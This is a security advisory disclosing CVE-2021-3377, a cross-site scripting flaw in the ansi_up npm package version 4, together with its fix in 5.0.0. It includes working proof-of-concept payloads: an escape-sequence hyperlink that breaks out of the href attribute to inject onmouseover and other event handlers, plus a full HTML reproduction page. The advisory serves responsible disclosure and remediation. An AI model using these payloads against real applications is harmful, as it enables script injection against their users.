Security Advisory
Cross-Site Scripting in ansi_up

Created by Ben Caller
1st Feb 2021

Overview

This document provides technical details of a Cross-Site Scripting vulnerability in version 4 of the ansi_up npm package.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Cross-Site Scripting (XSS) in ansi_up	
Vendor	https://github.com/drudru
Severity	High
Vulnerability Class	Cross-Site Scripting
Component	ansi_up
Status	Fixed
CVE	CVE-2021-3377
Credits	Ben Caller of Doyensec

Summary

The npm package ansi_up converts ANSI escape codes (used by terminal emulators to, for example, set text color) into HTML. Since ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, extra HTML attributes and javascript code can be injected into the returned HTML. This can be used in a Cross-Site Scripting (XSS) attack.

Technical Description

The OSC Hyperlink feature takes ANSI text of the form:

```
\u001B]8;;https://doyensec.com\u0007Doyensec\u001B]8;;\u0007
```

and returns HTML of the form:

```
<a href="https://doyensec.com">Doyensec</a>
```

The HTML is produced in the `process_hyperlink` function[1] with:

```
let result = `<a href="${this.escape_txt_for_html(pkt.url)}">$
{this.escape_txt_for_html(pkt.text)}</a>`;
```

[1] https://github.com/drudru/ansi_up/blob/v4.0.4/ansi_up.ts#L687

The '<', '>' and '&' are sanitized by `escape_txt_for_html`. The URL also cannot contain spaces. However, the double quote character can be used to break out of the href attribute.
Other attributes such as the event handler `onmouseover` and the `style` attribute can be set.

Spaces do not need to be used between HTML attributes as the forward slash character can be used instead.

Reproduction Steps

When processed by ansi_up, the input:

```
\u001B]8;;https://doyensec.com"/onmouseover="alert(1)\u0007Doyensec\u001B]8;;\u0007
```

produces the following HTML:

```
<a href="https://doyensec.com"/onmouseover="alert(1)">Doyensec</a>
```

This will execute javascript (pop open an alert box) when the mouse moves over the link.

A full html example:

```
<div id="console"></div>
<script src="https://cdn.jsdelivr.net/npm/ansi_up@4.0.4/ansi_up.min.js"></
script>
<script>
var logOutput = `\x1b]8;;https://"/onclick="alert(1)"/onmouseover="alert(1)"/
onfocus="alert(1)""/onblur="alert(1)"/
style="position:fixed;width:60%;height:60%;transform:rotateZ(45deg);top:20%;l
eft:20%;background:url('https://blog.doyensec.com/public/images/
logo.png');background-position:center;background-size:cover;padding-
top:75px;font-size:xxx-large;color:red;text-decoration:underline;text-
align:center"/tabindex="1\x07XSS\x1b]8;;\x07`;
var html = (new AnsiUp).ansi_to_html(logOutput);
document.getElementById("console").innerHTML = html;
</script>
```

Remediation

The maintainer has released an update (v5.0.0) to address this issue:

- https://github.com/drudru/ansi_up/releases/tag/v5.0.0
- Commit: https://github.com/drudru/ansi_up/commit/c8c726ed1db

Disclosure Timeline

2020-12-24	Vulnerability disclosed via email to maintainer
2020-12-24	Acknowledgement from maintainer
2021-01-05	Doyensec and maintainer discuss remediation
2021-01-29	Vulnerability patched and released as version 5.0.0
2021-02-01	Doyensec advisory published